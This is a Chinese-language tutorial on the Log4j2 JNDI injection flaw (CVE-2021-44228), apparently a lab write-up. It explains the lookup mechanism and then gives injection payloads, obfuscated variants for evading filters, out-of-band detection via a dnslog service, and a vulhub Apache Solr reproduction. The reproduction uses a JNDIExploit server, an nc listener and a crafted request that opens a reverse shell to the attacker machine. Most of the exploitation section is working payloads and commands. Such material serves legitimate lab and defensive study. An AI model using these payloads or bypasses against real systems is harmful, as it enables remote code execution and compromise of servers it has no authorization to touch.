目录
一、漏洞信息
漏洞名称 | Apache Log4j2 lookup JNDI 注入漏洞 (Apache Log4j2 lookup feature JNDI injection) |
漏洞编号 | CVE-2021-44228 |
危害等级 | 严重 |
CVSS评分 | 10 |
漏洞类型 | 代码问题 |
vulhub Path | log4j/CVE-2021-44228 |
Apache Log4j | Apache的开源项目,一个功能强大的日志组件,提供方便的日志记录 |
Apache Log4j 2 | 对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。优秀的Java日志框架 |
Log4j2 漏洞受影响版本 | 2.0到2.14.1版本中存在一处JNDI注入漏洞 |
二、 Log4j 2漏洞原理
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Example {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Example.class);
String user_input = args[0];
logger.info("User input: " + user_input);
}
}
在这个示例中,我们使用了log4j的Java API来记录日志。然而,我们没有对用户输入进行任何过滤或验证,这意味着如果用户输入包含恶意代码,它将会被记录到日志文件中。
这个漏洞的根本原因在于log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。
【API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数】
Log4j 为了输出日志时能输出任意位置的 Java 对象,引入了 Lookup 接口,这个 Lookup 接口可以看作是 JNDI 的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java 的序列化或 反序列化传输,从远程服务器上查找。由于 Lookup 接口的原因, Log4j 就暗含 JNDI 注入漏洞,可以联合使用 JNDI+LDAP 或者 JNDI+RMI 通过命名功 能直接从远程服务器上调用文件并在本地执行。Log4j 在处理消息转换时,会按照字符检测每条日志,当日志中包含 ${} 时,则会将表达式的内容替换成真实的内容( 即 lookup 接口查找得到的内容),使用 LDAP 或 RMI 协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j 的漏洞。
三、利用
ldap/rmi 注入
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可)
payload:${jndi:ldap://127.0.0.1:1234/ExportObject}
四、绕过
1. 利用分隔符和多个${}绕过
2. 通过 lower 和 upper 绕过
3 可以利用一些特殊字符
4 可以利用编码绕过
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
五、漏洞复现
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库。我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
5.1 漏洞环境搭建
搭建环境:Ubuntu
工具:vulhub
命令语句:
1、cd vulhub/log4j/CVE-2021-44228
2、docker-compose up -d
#执行命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面:
5.2 漏洞检测
放在检码平台打一下,检测到带外流量则说明存在该漏洞。
配合dnslog常见的dnslog平台:
dnslog: http://www.dnslog.cn/
dnslog:https://log.xn--9tr.com/
ceye:http://ceye.io/
例如:ceye
5.2.1 首先得到主域名:u80phv.ceye.io
就可以构造 payload: ${jndi:ldap://u80phv.ceye.io/exp}
5.2.2 传参点
http://your-ip:8983/solr/admin/cores?action=payload
eg. http://192.168.57.135:8983/solr/admin/cores?action=${jndi:ldap://u80phv.ceye.io/exp}
检测到带外流量,说明存在该漏洞。
5.3 攻击(复现)
靶机:Ubuntu-20.04
攻击机:Kali-2022
5.3.1 实际利用JNDI注入漏洞,可以使用[这个工具](https://github.com/su18/JNDI)。下载到攻击机。
在工具窗口右击打开终端:输入命令【java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.57.136】(攻击机-IP)
5.3.2 反弹shell到攻击机
首先,攻击机启动命令,监听端口:nc -lvvp 7777
浏览器进入:
http://192.168.57.135:8983/solr/admin/cores?
action=${jndi:ldap://192.168.57.136:1389/Basic/ReverseShell/192.168.57.136/7777}
攻击成功。